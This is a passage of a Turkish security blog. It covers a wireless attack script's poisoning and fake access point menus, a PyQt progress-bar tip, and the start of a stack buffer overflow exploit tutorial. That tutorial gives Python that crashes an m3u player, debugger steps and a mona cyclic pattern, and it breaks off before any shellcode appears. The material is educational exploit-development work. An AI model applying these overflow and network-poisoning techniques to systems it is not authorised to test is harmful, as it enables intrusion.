<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYJgUDmy_TiD9m4XAuOSIkqIk_1xcoSfZPj5Mc_R0xDNWq4y2WcDCMmMG9xSSrjHesYdyfAerbq-zIOJaZvYjJLumDz7fBCG1nk1LB3sRW_bxaeRuloM5blU6SjTsB04BXZopeRtdnnv4/s1600/1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="216" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYJgUDmy_TiD9m4XAuOSIkqIk_1xcoSfZPj5Mc_R0xDNWq4y2WcDCMmMG9xSSrjHesYdyfAerbq-zIOJaZvYjJLumDz7fBCG1nk1LB3sRW_bxaeRuloM5blU6SjTsB04BXZopeRtdnnv4/s1600/1.png" width="400" /></a></div>
<br />
Giriş ekranı şöyle bir şey.<br />
<b>Poisoning Attacks </b>menüsünde görebileceğiniz üzere <b>Standard ARP Poison, Oneway ARP Poison, DHCP Poison, DNS Poison, ICMP Poison</b> gibi saldırı türleri var.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-KtlzyahGu4ghSC4Wk4fjewwoWjLTJW6-IbfRIfdNl6xLIZzf6adP_8NOxkbkE-Bim6qYN7fJussE3Dm81RfFwar_uwo-u4C41fO2zM6aTpMSx5-QeoVxhIuDJ6O2DwOOAH1vEJishOc/s1600/3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="216" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-KtlzyahGu4ghSC4Wk4fjewwoWjLTJW6-IbfRIfdNl6xLIZzf6adP_8NOxkbkE-Bim6qYN7fJussE3Dm81RfFwar_uwo-u4C41fO2zM6aTpMSx5-QeoVxhIuDJ6O2DwOOAH1vEJishOc/s1600/3.png" width="400" /></a></div>
<a name='more'></a><br />
<div>
<b>Fake AP Attack</b> menüsünde de görebileceğiniz üzere <b>FakeAP Attack Static,FakeAP Attack EvilTwin, Karmetasploit Attack, FreeRadius Attack</b> gibi saldırı türleri mevcut. </div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1PyJuiqt00mVB1kQIzrfN3d6dbklurxi0sFZnxaLK9gnwKc2lp_LFc5Q-DXNuID2lMLLNK5hWKoKmz7I_3qgdgJTmBs81ytkmXu49ytIN21CNuC0NYO05-F2U9iD_8UN2eHTiBVGoJBM/s1600/2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="205" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1PyJuiqt00mVB1kQIzrfN3d6dbklurxi0sFZnxaLK9gnwKc2lp_LFc5Q-DXNuID2lMLLNK5hWKoKmz7I_3qgdgJTmBs81ytkmXu49ytIN21CNuC0NYO05-F2U9iD_8UN2eHTiBVGoJBM/s1600/2.png" width="400" /></a></div>
<div>
<br /></div>
<div>
Bu saldırı türlerini daha sonra anlatabilirim. </div>
<div>
Şimdi asıl mevzuya dönelim. Scripti çalıştırdığımız zaman bazı bağımlı uygulamaların yüklenmemiş yada linklenmemiş olmasından dolayı errörler verecektir, fakat açılmaya engel olacak bir şey yok. Fakat bazı saldırılar çalışmayacaktır.</div>
<div>
<br />
<pre style="background-image: URL(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZ-yUsVhghPOCa7iOfGHJ1Gh5Q7Xf4DhgS2u4fSr4BeHcVFTdLZL_FovNSayywzkwC5SRE9myARUJcCYS2OGenKPN9dhoSYM9tF3Lb4aQpCrlVgM2RsaPlRcwlMYORueZD-0ruNOc-DM1z/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> [!] Couldn't find radiusd. If its installed please create a symbolic link in /usr/bin
[!] Some prereqs missing, functionality may be impaired. Review README file.
</code></pre>
</div>
<div>
<br /></div>
<div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixEJd98V3XV59VGrytjn988pUQ3ZW0Y-L8XA-3dbWaoLfV1ShWLlCQ8oZm_AHG_M4I7L1jgOz2fCwyzfHN1zvJkPLEkyP0mle6Jnw6jM_IRJ_qcEYXOkrLzmnRtpuPWf4T_N997an3x1w/s1600/4.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="44" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixEJd98V3XV59VGrytjn988pUQ3ZW0Y-L8XA-3dbWaoLfV1ShWLlCQ8oZm_AHG_M4I7L1jgOz2fCwyzfHN1zvJkPLEkyP0mle6Jnw6jM_IRJ_qcEYXOkrLzmnRtpuPWf4T_N997an3x1w/s1600/4.png" width="640" /></a></div>
<br /></div>
<div>
<br /></div>
<div>
Bu hataya neden olan uygulamayı/uygulamaları kurmak için paket yöneticimize başvuruyoruz. İşlemleri debian tabanlı kali linux'ta yaptığım için apt'ye gidiyorum bu iş için.<br />
<span style="font-size: large;"><span style="color: red;">NOT:</span> </span>Bazı çözümlerde Synaptic paket yöneticisini kurup ordan işlemlerin yapılması söylenmiş fakat gerek yok buna.</div>
<div>
<br />
Genelde kurulum aşamasında sorun çıkaran yada kurulamayan şu uygulamalar oluyor, bunları beraber kurmasını istediğimizde paket yöneticimizden zaten kurulu olanlar görmezden gelinecektir.<br />
<pre style="background-image: URL(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZ-yUsVhghPOCa7iOfGHJ1Gh5Q7Xf4DhgS2u4fSr4BeHcVFTdLZL_FovNSayywzkwC5SRE9myARUJcCYS2OGenKPN9dhoSYM9tF3Lb4aQpCrlVgM2RsaPlRcwlMYORueZD-0ruNOc-DM1z/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> apt-get install radiusd-livingston hostapd ipcalc
</code></pre>
</div>
Ki genelde eksik olan hatalı resimde olduğu gibi radius'tur. Bu satır işinizi çözecektir.Yunus YILDIRIMhttp://www.blogger.com/profile/09141970922985921246noreply@blogger.com0tag:blogger.com,1999:blog-4536086478290117322.post-6729976761367725632015-03-18T15:04:00.000-07:002015-06-30T03:13:02.962-07:00PyQt ile Responsive Arayüz Yapma Responsive'dan kastım componentleri güncellenmesi, anlık olarak, ekranda diğer componentleri aksatmadan işlemler yapabilmenizdir.<br />
Javada bu tarz işlemleri yaparkene mecburen thread kullanıyorduk. Bir süredir Python'la ugrasıyordum. Geçenlerde arkadaşın <a href="https://github.com/th3gundy/indir" target="_blank">Github reposundan</a> forkladığım, komut satırında çalışan dosya indirmeye yarayan Python ile yazılmış uygulamaya bi ayar çekeyim dedim. Forklayıp ayrı bir python dosyası şeklinde arayüzlü versiyonu ekledim.<br />
<br />
Kullandığım componentlerden biride Progressbar idi. Malum dosyanın yüzde kaçının indiğini kullanıcıya göstermek lazım. Az araştırdım genelde progressbar ile ilgili iş yapanlar ya thread yada timer kullanıyordu.<br />
<br />
Sonrasında şu büyülü satırı buldum. Ne thread ne başka birşeye gerek kalmadan tek satırla işimizi şu şekilde halledebiliriz.<br />
<br />
<a name='more'></a><br />
<pre style="background-image: URL(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZ-yUsVhghPOCa7iOfGHJ1Gh5Q7Xf4DhgS2u4fSr4BeHcVFTdLZL_FovNSayywzkwC5SRE9myARUJcCYS2OGenKPN9dhoSYM9tF3Lb4aQpCrlVgM2RsaPlRcwlMYORueZD-0ruNOc-DM1z/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"><b> QtCore.QCoreApplication.processEvents() </b>
</code></pre>
<br />
Bunu şu şekilde kodda kullandım ve anlık olarak arayüzde label'ı birde progressbar'ın değerlerini değiştirmek mümkün oldu. Easy.<br />
<br />
<pre style="background-image: URL(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZ-yUsVhghPOCa7iOfGHJ1Gh5Q7Xf4DhgS2u4fSr4BeHcVFTdLZL_FovNSayywzkwC5SRE9myARUJcCYS2OGenKPN9dhoSYM9tF3Lb4aQpCrlVgM2RsaPlRcwlMYORueZD-0ruNOc-DM1z/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> QtCore.QCoreApplication.processEvents()
self.speed.setText(u"Toplam\nİndirilen %.1f Kb" % (float(ind)/(1024)))
self.progressBar.setValue(yuzde)
</code></pre>
<br />
Kodun bu kısmı inen yüzdelik kısmı toplam Kb'ı ekrana anlık aktarmaya yarıyor.Yunus YILDIRIMhttp://www.blogger.com/profile/09141970922985921246noreply@blogger.com0tag:blogger.com,1999:blog-4536086478290117322.post-89281106161387924822015-03-14T11:58:00.000-07:002015-03-14T12:05:09.571-07:00Stack Based Buffer Overflow ve Exploit Kodlama - 12014'ün son ayında başlayıp uyuşukluğumdan dolayı yarıda kestiğim yazıyı yeniden yazma girişiminde bulundum. Arada bir kaç kez daha bırakmış olsamda sonunda bitiriyorum.<br />
<br />
Uzunca bir yazı olacak, bu yüzden Stack ve Buffer gibi kavramları anlatmakla fazla vakit kaybetmeye gerek yok (ilerleyen kısımlarda bir görselle bir kaç şey anlatmam dışında). <a href="http://www.bilgiguvenligi.gov.tr/yazilim-guvenligi/bellek-tasmasi-stack-overflow-ve-korunma-yontemleri.html" target="_blank">Bu adresten </a>ayrıntılı bilgileri okuyabilirsiniz. Şimdi bir uygulamayı patlatmak ve overflow ettiğimiz uygulama için Exploit yazmak için yapılan temel adımları şöyle sıralayabiliriz.<br />
<b><span style="color: red;">ÖNEMLİ:</span></b> Bu yazıda anlatacaklarım herhangi bir koruma mekanızmasına (SEH, ASLR vs.) karşı bypass içermemektedir. O tarz overflow ve exploit kodlamaları ileriki yazılarda olur umarım -üşenmez yazarsam-<br />
<ul>
<li>Uygulamanın girdi alan noktalarında bir overflow tespit etmek</li>
<li>Overflow olan sınırı tespit etmek</li>
<li>Uygulama içinde bizi Stack'e yönlendirecek adresi bulmak</li>
<li>Bad charları tespit etmek</li>
<li>Uygun shellcode yazmak </li>
<li>Ve bomm</li>
</ul>
Bu yazı muhtemelen seri şeklinde olacaktır. İlk olarak local bir buffer overflow uygulaması ile temelleri yazmaya çalışacam, sonrakilerinde remote overflow içinde anlatımlar olacaktır. Umarım...<br />
<br />
Temel olarak buffer overflow için şunu söyleyebiliriz: Uygulamanın çalışma sırasında kullanıcıdan aldığı bir girdiye ayrılan sınırın üstünde data girişi yapmaktır. Birçok overflow yazısında <b>int buff[125]</b> gibi bir girdi alanı açılıp strcpy, memcpy vs ile C dilinin kontrolsüz fonksiyonlarını kullanarak uygulamaya 125'ten fazla bir input yollayarak programı patlatmayı anlatır. Anlatılanda doğrudur, mantık aynen bu şekilde işler, haddinden fazla inputu göndermek ve eğer kontrol yoksa uygulamayı patlatmak.<br />
Uygulamaya fazla input yolladığımızda stack'in yapısından dolayı stack'e atılan parametreler ve geri dönüş değerler ezilir/kaybolur bundan dolayı uygulama crash olur ve sonlanır. İyi bir exploit, geri dönüş değerini istediğimiz bir alana referans ettirmek ve o alana shellcode'umuzu doldurmak ile olur. Sonrası işlemcide, sağolsun kendisi bizim için işlemleri yapacaktır.<br />
<br />
Patlatacağımız uygulamaya ait Perl diliyle yazılmış exploit koduna <a href="http://www.exploit-db.com/exploits/9186/" target="_blank">Exploit-db</a> den bakabilirsiniz. Biz Python ile exploiti geliştireceğiz. Verdiğim linkte uygulama için download linkide bulunmakta.<br />
<br />
<span style="font-size: large;"><b>Let's Begin</b></span><br />
<br />
Öncelikle uygulamanın kabul ettiği formatlardan biri olan m3u için dosya oluşturup içini junk datayla dolduran bir kod yazalım. Başlangıç olarak 10.000 byte verelim.<br />
<a name='more'></a><br />
<pre style="background-image: URL(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZ-yUsVhghPOCa7iOfGHJ1Gh5Q7Xf4DhgS2u4fSr4BeHcVFTdLZL_FovNSayywzkwC5SRE9myARUJcCYS2OGenKPN9dhoSYM9tF3Lb4aQpCrlVgM2RsaPlRcwlMYORueZD-0ruNOc-DM1z/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;">fileName = "bombe.m3u"
buf = "A"*10000 # junk data
try:
file = open (fileName, "w")
</code><code style="color: black; word-wrap: normal;"><code style="color: black; word-wrap: normal;">file</code>.write( buf )
</code><code style="color: black; word-wrap: normal;"><code style="color: black; word-wrap: normal;"> file</code>.close()
print "[+] File successfully created!"
except:
print "[!] Error!"
</code></pre>
<br />
Şimdi canımız İmmunity ciğerimiz Debugger'ı açalım ve uygulamamızı <b>File -> Open</b> yoluyla seçip başlatalım. İmmunity modülleri yükledikten sonra isterseniz F9'a basarak isterseniz toolbardaki play butonuna basarak uygulamayı başlatalım.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi2wWnftgP-i-wIyDwzYIU0IpPD4i70sSDNCFQUv72s6PsNKa4Ir-IJjV34_cgLMtLLTx2aojef6Gale-zZKxD49yqpFevXDqYPruBfXGygvNgQZlXkiMVMLpkx0e6n6uMSx8QuYXWVtVk/s1600/1.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi2wWnftgP-i-wIyDwzYIU0IpPD4i70sSDNCFQUv72s6PsNKa4Ir-IJjV34_cgLMtLLTx2aojef6Gale-zZKxD49yqpFevXDqYPruBfXGygvNgQZlXkiMVMLpkx0e6n6uMSx8QuYXWVtVk/s1600/1.JPG" height="76" width="320" /></a></div>
Şimdi uygulamada <b>Load</b> diyip, dosya türlerini <b>m3u </b>olanı seçtikten sonra dosyamızı seçip <b>Aç</b> diyoruz.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgx5WWSXpoq6JJ4wcs001K2tNXNhe_E0PreCVqoTEFmlsSggG8VOV5r9kBT998yUYmgrkZXkF81EhRe9eafuGWVF7QXDm71UTzNm_eGC7l-kc3MRKkRLpR64d9Uu_36B5JQRQrn_8s9bl0/s1600/2.JPG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgx5WWSXpoq6JJ4wcs001K2tNXNhe_E0PreCVqoTEFmlsSggG8VOV5r9kBT998yUYmgrkZXkF81EhRe9eafuGWVF7QXDm71UTzNm_eGC7l-kc3MRKkRLpR64d9Uu_36B5JQRQrn_8s9bl0/s1600/2.JPG" height="225" width="640" /></a></div>
Ne oldu, patlamadı. Demek ki az vermişiz junk datayı.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiYbLwiyPc9zcMAqb1vKloCmJoFS9VKX2zwGAj5o0WZyem0cAchjAcrCJJOOdH7P345Jq3O20ypp2FYqQ6mj6S3kKBLeKevZLILR3g0iXfGpcqUNBvBUQJ0KwuYVIzrUtKRVt49cJSGI8w/s1600/3.JPG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiYbLwiyPc9zcMAqb1vKloCmJoFS9VKX2zwGAj5o0WZyem0cAchjAcrCJJOOdH7P345Jq3O20ypp2FYqQ6mj6S3kKBLeKevZLILR3g0iXfGpcqUNBvBUQJ0KwuYVIzrUtKRVt49cJSGI8w/s1600/3.JPG" height="116" width="640" /></a></div>
Şimdi junk datamızı kademeli olarak arttırıp tekrar tekrar deneyelim.<br />
Önce bir 15.000 sonra 20, 25 arttırıp görelim. Örneğe 30.000 byte ile devame ediyorum ben.<br />
<br />
Bom. <b>30k</b>'da patladı.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2wL2jSoYJw2-fSowhgCV1Z5xyNpNEuXAcMiL9IwIJd0NaJfEpwHXOqlPxOkS1E7psKYx2O6yxdqqnxJ_g1lIuPv61FyWwKAMbFXBxIAnWI0vgCMGDsbrz-pXdWEti1zZmGmrNfLlIgOs/s1600/4.JPG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2wL2jSoYJw2-fSowhgCV1Z5xyNpNEuXAcMiL9IwIJd0NaJfEpwHXOqlPxOkS1E7psKYx2O6yxdqqnxJ_g1lIuPv61FyWwKAMbFXBxIAnWI0vgCMGDsbrz-pXdWEti1zZmGmrNfLlIgOs/s1600/4.JPG" height="451" width="640" /></a></div>
Burada en altta <b>Access violation</b> vermiş. Uygulamayı patlatıp stack'i taşırdık ve erişmememiz gereken yerlere el attık. Diğer kırmızı kutuların içindekilerden görebileceğiniz üzere EIP yani instruction pointerı ve ESP yani stack pointeri <b>41</b>'ler ile yani <b>A</b>'lar ile doldurduk.<br />
<br />
Şimdi patlattık ama nerde patladı. 30k byte içinde sınır nerede bunu bulmanın temel iki yolu var. Biri amele gibi elle teker teker deneyerek bulma ki Binary search mantığıyla yapılabilir. Bir diğeri abilerimizin yazdığı toolları kullanıp tek hamlede sınırı bulmak.<br />
Bu toollardan biri Metasploit dayının içinde gelen ruby ile yazılmış<b> pattern_create </b>ve<b> pattern_offset </b>scriptleri.<br />
Bir diğeride İmmunity'e entegre edebileceğimiz plugin olan <b>mona</b>'nın içinde, metasploittekilerin yandan yemişi, Python ile yazılmış olan<b> pattern_create</b> ve <b>pattern_offset</b>.<br />
<br />
<a href="http://yunusyildirim.blogspot.com.tr/2014/09/immunity-debuggera-monapy-plugini-ekleme.html">Şu yazıda</a> İmmunity'e <b>mona.py</b> pluginini nasıl entegre edeceğinizi anlatmıştım. Dilerseniz burdan işlem adımlarını yapıp mona ile devam edebilirsiniz.<br />
<br />
Şimdi yapacağımız işlem, mona.py'den (pattern_create) bize belirteceğimz byte uzunluğunda formatlı bir data üretmesini söylemek ve bu datayı junk olarak kullanıp uygulamayı tekrar patlatmak. Overflow olduktan sonra EIP'nin offset adresini alıp pattern_offset'e verdikten sonra bize taşma sınırını söylemesini beklemek.<br />
NOT: Çok büyük mertebelerde karakterlerde oluşturup -30.000 civarı- pattern_offset'ten bize sınırı söylemesini istediğimizde zıçabiliyor. Bu yüzden 25.000 byte A ile doldurup 5.000 byte mona.py'den isteyeceğiz. Başlayalım.<br />
<br />
<pre style="background-image: URL(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZ-yUsVhghPOCa7iOfGHJ1Gh5Q7Xf4DhgS2u4fSr4BeHcVFTdLZL_FovNSayywzkwC5SRE9myARUJcCYS2OGenKPN9dhoSYM9tF3Lb4aQpCrlVgM2RsaPlRcwlMYORueZD-0ruNOc-DM1z/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> !mona pattern_create 5000
</code></pre>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7hvKC1OB-3zj6Q9ZTxrAQJ-8lBmo_pattr2fEo5BHvKekQ0UVl_a26PusssZ316MaZTpQRl9yqKlvU1CcekySyg783g3Ms-KOoQQWLWi4sqDJi1ALVBhG0dIvbU9qyYA85BkzHG2YoZw/s1600/5.JPG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7hvKC1OB-3zj6Q9ZTxrAQJ-8lBmo_pattr2fEo5BHvKekQ0UVl_a26PusssZ316MaZTpQRl9yqKlvU1CcekySyg783g3Ms-KOoQQWLWi4sqDJi1ALVBhG0dIvbU9qyYA85BkzHG2YoZw/s1600/5.JPG" height="308" width="640" /></a></div>
Karakter sayısı cok fazla olduğu için log ekranından alamayız. Ürettiği pattern'ları kaydettiği yeri söylüyor buradaki dosyadan karakterleri alıp Python kodumuza ekliyoruz.<br />
<br />
<pre style="background-image: URL(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZ-yUsVhghPOCa7iOfGHJ1Gh5Q7Xf4DhgS2u4fSr4BeHcVFTdLZL_FovNSayywzkwC5SRE9myARUJcCYS2OGenKPN9dhoSYM9tF3Lb4aQpCrlVgM2RsaPlRcwlMYORueZD-0ruNOc-DM1z/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;">fileName = "bombe.m3u"
buf = "A"*25000 # junk data
buf += "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec